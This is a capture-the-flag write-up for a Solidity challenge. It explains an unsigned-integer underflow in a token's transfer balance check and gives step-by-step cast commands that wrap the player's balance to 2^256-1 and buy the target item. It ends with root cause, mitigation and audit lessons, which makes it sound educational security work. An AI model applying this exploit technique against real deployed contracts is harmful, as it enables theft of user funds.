Challenge Overview
The narrative: Alex and her group find a shop selling powerful artifacts. They have only 100 SilverCoins, but the Golden Key they need costs 25,000,000. The challenge is asking you to notice a fundamental flaw in how the token contract handles arithmetic — one that turns a balance of 100 into one of effectively unlimited size.
Objective: Acquire the Golden Key (item index 2) in the Shop contract. The win condition checks TARGET.viewItem(2).owner == player.
Contract Architecture
Setup.sol
| 1 | constructor(address _player) payable { |
| 2 | SilverCoin silverCoin = new SilverCoin(); |
| 3 | silverCoin.transfer(_player, 100); // player starts with only 100 coins |
| 4 | TARGET = new Shop(address(silverCoin)); |
| 5 | } |
| 6 | |
| 7 | function isSolved(address _player) public view returns (bool) { |
| 8 | (,, address ownerOfKey) = TARGET.viewItem(2); |
| 9 | return ownerOfKey == _player; // win = own item at index 2 |
| 10 | } |
The setup is clear: we start with 100 coins and need to own item index 2. The path is through the Shop.
Shop.sol
| 1 | // Item added in constructor |
| 2 | items.push(Item("Golden Key", 25_000_000, address(this))); |
| 3 | |
| 4 | function buyItem(uint256 _index) public { |
| 5 | Item storage _item = items[_index]; |
| 6 | bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price); |
| 7 | require(success, "Payment failed!"); |
| 8 | items[_index].owner = msg.sender; |
| 9 | } |
The Golden Key costs 25,000,000 coins. The shop uses transferFrom — which means we need to first approve the shop to spend our tokens, then call buyItem. The shop relies entirely on the token contract's transfer logic. If that logic is broken, the price barrier disappears.
SilverCoin.sol — Two Transfer Functions
This is where the vulnerability lives. The contract has two separate internal transfer implementations with a critical difference in their safety checks:
| 1 | // Called by the public transfer() function — VULNERABLE |
| 2 | function _transfer(address from, address to, uint256 amount) internal { |
| 3 | uint256 fromBalance = _balances[from]; |
| 4 | require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance"); // BUG |
| 5 | _balances[from] = fromBalance - amount; |
| 6 | _balances[to] += amount; |
| 7 | } |
| 8 | |
| 9 | // Called by the public transferFrom() function — CORRECT |
| 10 | function _transferFrom(address from, address to, uint256 amount) internal { |
| 11 | uint256 fromBalance = _balances[from]; |
| 12 | require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); // correct |
| 13 | _balances[from] = fromBalance - amount; |
| 14 | _balances[to] += amount; |
| 15 | } |
Arithmetic in Solidity Before 0.8.0
To understand the vulnerability, you need to understand how unsigned integers behave in Solidity versions prior to 0.8.0.
In Solidity, uint256 is an unsigned 256-bit integer. "Unsigned" means it has no sign bit — it cannot represent negative numbers. Its valid range is 0 to 2²⁵⁶ − 1, which is approximately 1.16 × 10⁷⁷.
Mental Model — uint256 Wrap-Around
Think of a uint256 as a counter on an old mechanical odometer with 77 digits.
When you go past the maximum (all 9s), it wraps back to 0. When you try to go below 0 from a counter that's at 0, it wraps up to the maximum (all 9s).
The subtraction 0 - 1 in uint256 does not give -1. It gives 2²⁵⁶ - 1 = 115,792,089,237,...,639,935.
In Solidity <0.8.0, this happens silently. No error is thrown. The program continues as if nothing unusual happened.
Solidity 0.8.0 (released December 2020) introduced built-in overflow/underflow protection. Any arithmetic operation that would wrap around now reverts instead. But code written before 0.8.0 — or compiled with pragma solidity ^0.7.0 — has no such protection. Developers were expected to use the OpenZeppelin SafeMath library manually.
The Broken Check — Why It Always Passes
The critical line in _transfer():
| 1 | require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance"); |
This looks like a reasonable balance check to a programmer coming from Python or Java. In those languages, 100 - 101 = -1, and -1 >= 0 is false, so the require would revert.
But in Solidity with uint256 arithmetic and no overflow protection:
fromBalance = 100
amount = 101
fromBalance - amount
In signed arithmetic: 100 - 101 = -1 (what the developer expected)
In uint256 arithmetic: 100 - 101 = 2²⁵⁶ - 1
= 115792089237316195423570985008687907853
269984665640564039457584007913129639935
require(2²⁵⁶ - 1 >= 0) ← this is ALWAYS true for uint256
because uint256 can never be negative.
Result: the require passes every time, regardless of actual balance.The check that was supposed to prevent spending more than your balance is, in fact, completely inert. Any call to transfer() will pass the check no matter what amount is requested.
The second line — _balances[from] = fromBalance - amount — then stores the wrapped value. So our balance goes from 100 to 2²⁵⁶ − 1 in a single transaction.
WARNING
The correct check in _transferFrom reads require(fromBalance >= amount). No subtraction occurs inside the require. This correctly rejects transfers where amount > fromBalance. The two functions are nearly identical except for this one check — and that difference is everything.
Why Self-Transfer Fails
An intuitive first attempt: transfer tokens to yourself to trigger the underflow. The logic seems correct — the check would pass, and the balance would wrap around.
However, look carefully at what happens in _transfer when from == to:
| 1 | _balances[from] = fromBalance - amount; // balance decreases by amount |
| 2 | _balances[to] += amount; // balance increases by amount |
Both operations run on the same address. The balance first decreases by amount(wrapping to 2²⁵⁶ − 1), then increases by amount again. The net change is zero. The balance after a self-transfer is identical to the balance before.
To corrupt only the decrease side without the compensating increase, the transfer must go to a different address. We send to the burn address0x000...dEaD — our balance decreases (wrapping to 2²⁵⁶ − 1), and 101 tokens go to an address we don't control, which doesn't matter.
Finding the SilverCoin Contract Address
The Shop contract holds a reference to the SilverCoin token contract, but doesn't expose it through a public getter. We need to find it to call transfer() on it.
Looking at the Shop contract's storage layout:
Slot 0: items.length (uint256 — array length) Slot 1: silverCoin address (address — contract reference) Slot 2+: items array data (Item structs, packed)
Slot 1 holds the SilverCoin address. We read it the same way we read storage in the Rivals challenge:
$ cast storage --rpc-url $RPC $TARGET 10x000000000000000000000000a9917a9d4b19f5fb74fcdf31c4ff5db98a19af41
The address occupies the lower 20 bytes of the 32-byte slot. Extract it and verify:
$ export COIN="0x$(cast storage --rpc-url $RPC $TARGET 1 | tail -c 41)"
cast call --rpc-url $RPC $COIN "balanceOf(address)(uint256)" $PLAYER100
Triggering the Underflow
We transfer 101 tokens — one more than our balance of 100 — to the burn address. The broken _transfer() function's check passes, and our balance wraps to 2²⁵⁶ − 1.
$ cast send \
--rpc-url $RPC \
--private-key $PRIVATE_KEY \
$COIN "transfer(address,uint256)" \
0x000000000000000000000000000000000000dEaD \
101Confirm the underflow succeeded:
$ cast call --rpc-url $RPC $COIN "balanceOf(address)(uint256)" $PLAYER115792089237316195423570985008687907853269984665640564039457584007913129639935
That enormous number is 2²⁵⁶ − 1 − 1 (we lost 1 extra to the burn address, and gained the underflow). For all practical purposes, we now have an effectively unlimited token balance.
Buying the Golden Key
The Shop uses transferFrom() to deduct the 25,000,000 price — which calls the safe _transferFrom() function. With our now-enormous balance, 25,000,000 is easily covered. First, approve the Shop to spend on our behalf:
$ cast send \
--rpc-url $RPC --private-key $PRIVATE_KEY \
$COIN "approve(address,uint256)" \
$TARGET 25000000Then buy the Golden Key (index 2):
$ cast send \
--rpc-url $RPC --private-key $PRIVATE_KEY \
$TARGET "buyItem(uint256)" 2Verify:
$ cast call --rpc-url $RPC $SETUP "isSolved(address)" $PLAYER0x0000000000000000000000000000000000000000000000000000000000000001
Player balance: 100 SilverCoins
│
│ transfer(0xdEaD, 101)
│ calls vulnerable _transfer()
│ require(100 - 101 >= 0) → passes silently
▼
Player balance: 2²⁵⁶ - 1 (wrap-around)
│
│ approve(Shop, 25_000_000)
│
│ buyItem(2)
│ Shop calls transferFrom() → uses safe _transferFrom()
│ 25M << 2²⁵⁶ - 1, so check passes
▼
Player owns Golden Key
│
▼
isSolved() → trueRoot Cause & Mitigation
Root Cause
The bug is in the balance check inside _transfer():
| 1 | // Vulnerable: subtracts BEFORE comparing, uint256 never goes negative |
| 2 | require(fromBalance - amount >= 0, "..."); |
| 3 | |
| 4 | // Safe: compares BEFORE subtracting |
| 5 | require(fromBalance >= amount, "..."); |
The developer intended to check "does the sender have enough balance?" but expressed it in a way that is semantically impossible to fail with unsigned integers. The irony is that the correct check is shorter and simpler.
Compounding Problem: Two Transfer Paths
Having two nearly-identical internal functions with different safety properties is an anti-pattern. When code is duplicated with slight variations, subtle differences like this are easy to miss in code review and easy to get wrong during implementation. The correct design is one internal function with the correct check, used by both public paths.
Audit Detection Pattern
Look for any require or if statement that performs subtraction before comparison. In Solidity <0.8.0, this is always a potential underflow. Tools like Slither flag this pattern automatically.
Lessons Learned
Lesson 1 — Solidity 0.8.0 Changed Everything
Before 0.8.0, arithmetic operations in Solidity wrapped silently. After 0.8.0, they revert on overflow/underflow. If you see pragma solidity ^0.7.x or lower in a challenge, integer overflow/underflow is always a candidate vulnerability.
Lesson 2 — Never Subtract Before Comparing
The pattern require(a - b >= 0) is always wrong for unsigned arithmetic. The correct form is require(a >= b). If you see the first pattern in audited code, flag it immediately regardless of compiler version.
Lesson 3 — Parallel Code Paths Invite Inconsistency
Having two internal transfer functions (_transfer and _transferFrom) with different safety checks created a situation where one path is safe and one is exploitable. Duplicated logic is a code smell in security-critical code. Prefer a single, thoroughly reviewed implementation.